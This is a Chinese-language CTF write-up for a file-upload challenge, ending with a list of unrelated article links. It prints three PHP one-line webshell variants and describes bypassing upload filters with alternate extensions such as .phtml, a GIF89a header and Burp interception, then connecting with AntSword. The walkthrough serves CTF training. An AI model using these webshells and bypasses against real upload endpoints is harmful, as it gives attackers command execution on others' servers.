[极客大挑战 2019]Upload 1

[极客大挑战 2019]Upload 1

审题

看到是一个文件上传类题型。

知识点

一句话木马的注入

知识点详解

一句话木马的原理

eval()函数会将参数作为PHP代码进行执行,因此通过eval()函数中的参数v提交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$_POST[]变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。

成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现任意命令执行,通过v参数传入命令执行函数system(),执行system()函数中的系统命令。

一句话木马的基本写法。

php 复制代码
1.<?php @eval($_POST['cmd']);?>
2.<?=@eval($_POST['cmd']);?>
3.<script language="php">eval($_REQUEST[cmd])</script>

绕过后缀的有文件格式有php,php3,php4,php5,phtml,pht

解题

上传含有一句话木马的b.txt文件,并使用bp抓包更改后缀

其中前面加上GIF89a,这个可以伪造成jpg格式的文件。

看到更改为.php后缀时显示NO,php所以尝试其他后缀,.phtml成功绕过。但题目又写到no,hacker,你的文件有<?

所以,使用另一种一句话木马格式

更改后发现上传成功

一般上传后的文件在/upload/路径下。

打开b.phtml连接蚁剑。

在根目录下找到flag。

相关推荐
好多渔鱼好多1 分钟前
【流媒体协议】RTSP / RTP / RTCP 协议全景介绍
网络·网络协议·rtp·rtsp·rtcp·ipc摄像头
映秀小子22 分钟前
Wireshark加减显示列
网络·测试工具·wireshark
万事可爱^24 分钟前
LangChain v1.0学习笔记(4)—— 核心组件Models
人工智能·笔记·学习·langchain·大模型
捷米研发三部32 分钟前
EtherNet/IP转CAN协议转换网关实现罗克韦尔 PLC与压力传感器通讯在轮胎压力监测系统的应用案例
服务器·网络
蜂蜜黄油呀土豆33 分钟前
计算机网络中的传输层:深入解析 TCP 协议
网络协议·tcp/ip·计算机网络·三次握手·网络排查
飞睿科技40 分钟前
UWB技术在机器人领域的创新应用与前景
网络·人工智能·机器人·定位技术·uwb技术
寄思~1 小时前
Excel 数据匹配工具 -笔记
笔记·python·学习·excel
石像鬼₧魂石1 小时前
80 端口(Web 服务)渗透测试完整总结(含踩坑 + 绕过 + 实战流程)
linux·运维·服务器·前端·网络·阿里云
朔北之忘 Clancy1 小时前
2020 年 6 月青少年软编等考 C 语言二级真题解析
c语言·开发语言·c++·学习·青少年编程·题解·尺取法
知识分享小能手1 小时前
Ubuntu入门学习教程,从入门到精通,Ubuntu 22.04 中安装 Docker 容器 —— 知识点详解(26)
学习·ubuntu·docker